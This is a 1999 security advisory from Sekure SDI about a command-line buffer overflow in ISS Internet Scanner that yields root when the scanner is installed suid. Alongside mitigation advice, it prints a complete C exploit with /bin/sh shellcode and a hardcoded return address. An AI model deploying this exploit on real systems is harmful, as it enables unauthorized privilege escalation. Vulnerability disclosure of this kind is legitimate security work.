

			          Sekure SDI
            	             http://www.sekure.org
                          ---------------------------
                       Brazilian Information Security Team


           	      -> Internet Scanner Buffer Overflow <-
                             (SDI.03-99.iss-scanner)

---
complexity      : medium
critical level  : medium
---

 1. Introduction 

   Internet Scanner (I.S) is a wide known tool to audit the security level
of a certain network. It has a database which will assist in the detection of  
the commom security holes that may help an intruder to gain access or
gather private information from the scanned host.

   During the checks, I.S. will run a set of procedures that requires
privileges in the local host (root), so an ordinary user may not start a
scan. 

   Altough it's not the default configuration, it's commom, in certain
cases, to set the suid bit to permit "root privileges" so the "audit" user, 
who does not have the necessary privileges, may execute a scan.

   A certain problem was found in the IS program during some tests in
our lab. While by default it will not represent a thread, in the above
situation (suid bit owned by root), it will become a security gap.


 2. I.S Flaw

   Internet Scan does not check bounds in some arguments it receives from
the command line, which will cause a segmentation fault.
 
     sekure:~$ ./iss -D `perl -e "print 'A' x 2000"`
     Creating Directory /usr/local/iss/scans/s.199903241212
     # Time Stamp(2103): Signal - Segmentation Violation: (...)
     (..)
     ISS Scan was interrupted.
     Segmentation fault

     sekure:~$ ./iss -c `perl -e "print 'A' x 2000"`
     (...)
     Segmentation fault

   Let's check the return address:

     (gdb) run -D `perl -e "print 'A' x 2000"`
     Starting program: iss -D `perl -e "print 'A' x 2000"`
     (...)
     Program received signal SIGSEGV, Segmentation fault.
     0x41414141 in ?? ()
     (gdb)
 
   In this situation, we can reach the return address (which holds the
place the program must return in the memory), so we may execute arbitrary
commands, and adding the "suid bit" situation, it will be executed with root 
privileges.


  3. Who is vulnerable ?
 
  If you are running I.S using the SETUID bit to conceed root privileges
to an ordinary user, then you ARE vulnerable to this attack.
  
  If you are using the DEFAULT configuration of I.S, you are NOT
vulnerable.

 
  4. Fixing the situation

  The ISS which is the owner of I.S does not provide the source code along
with the program, so we may not provide a quick patch. 

  We advice you to remove the suid bit and contact the vendor for a
correction.

  We also advice you to avoid the use of suid bit unless you are familiar
with the purpose of the program.
  
  
  5. Exploiting the bug

  We believe information must be free available. If we don't provide the
exploit script along with the information, someone else will do. 

  We also know that people like to see with their own eyes to believe
they are vulnerable. So here it is:

------------- SDI-iss.c -----------------------------
/* 
 *  Sekure SDI - http://www.sekure.org  
 *  Brazilian Information Security Team  
 *  By c0nd0r <condor@sekure.org>
 *
 *  . ..Internet Scanner (ISS) Buffer Overflow.. .  
 *  (read the original advisory at http://www.sekure.org/advisory.html)
 *    
 *  > This may not represent a thread if you are
 *  > NOT using IS with setuid root
 *
 *  This code is only for educational purposes.
 *  ------------------------------
 *  Instructions: After the compilation, execute it to get 
 *  a shell prompt with the $EGG in the environment.
 *  tiazinha:~$ SDI-iss
 *  bash$ ls -tarl iss
 *  -rwsr-xr-x   1 root     daemon    1691180 Dec 10 15:22 iss*
 *  bash$ ./iss -c $EGG   
 *  
 *  Creating Directory /usr/local/iss/scans/s.199903261158
 *  id;
 *  uid=666(condor) gid=100(deejay) euid=0(root) groups=12(mail)
 *  -------------------------------
 *  PS: the i/o descriptors are used by IS (stdin/stdout) as this is 
 *  just an example, I'll not worry about. 
 */

char shellcode[]=
 	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define ISS_HOME "/usr/local/iss"

main ( int argc, char *argv[]) {
  char buff[2048], env[250];
  long addr;
  int x, y, offset=0, src;

  if (argc > 1) offset = atoi(argv[1]);

  for ( x = 0; x < (238-strlen(shellcode)); x++) 
    buff[x] = 0x90;

  for ( y = 0; y < strlen(shellcode); y++, x++)
    buff[x] = shellcode[y];

  addr = (long) &src + offset;
  printf ( "SDI I.S. Exploit Code\n");
  printf ( "4 educational purpose only\n");
  printf ( "Please, go to ISS directory and run:\n");
  printf ( "./iss -c $EGG\n\n");

  /* the program mess with the stack so I prefer to set it 
     by my own hands, no prob, just a little bit different */
  
  buff [x++] = 0x60; 
  buff [x++] = 0xef; 
  buff [x++] = 0xff; 
  buff [x++] = 0xbf; 
  /* it works fine in my slak3.5 box */

  buff[strlen(buff)] = '\0';

  snprintf ( env, sizeof(env), "ISS_HOME=%s", ISS_HOME); 
  putenv ( env);
  bzero ( &env, sizeof(env));

  snprintf ( env, sizeof(env), "EGG=%s", buff);
  putenv ( env);
  system ( "/bin/sh");

}
--------------------- eof ------------------

  6. Contacts

  Sekure SDI
  http://www.sekure.org
  info@sekure.org

  This advisory has been written by SSC (Sekure SDI Secure Coding Group)
  http://ssc.sekure.org
  securecode@sekure.org

  Subscribe the Best of Security Brazil - mailing list
  http://bos.sekure.org
  bos-br-request@sekure.org
  (the main language is portuguese but everybody is welcome)


----
written by c0nd0r
condor@sekure.org


-condor
www.sekure.org
 s e k u r e  

pgp key available at: http://condor.sekure.org/condor.asc
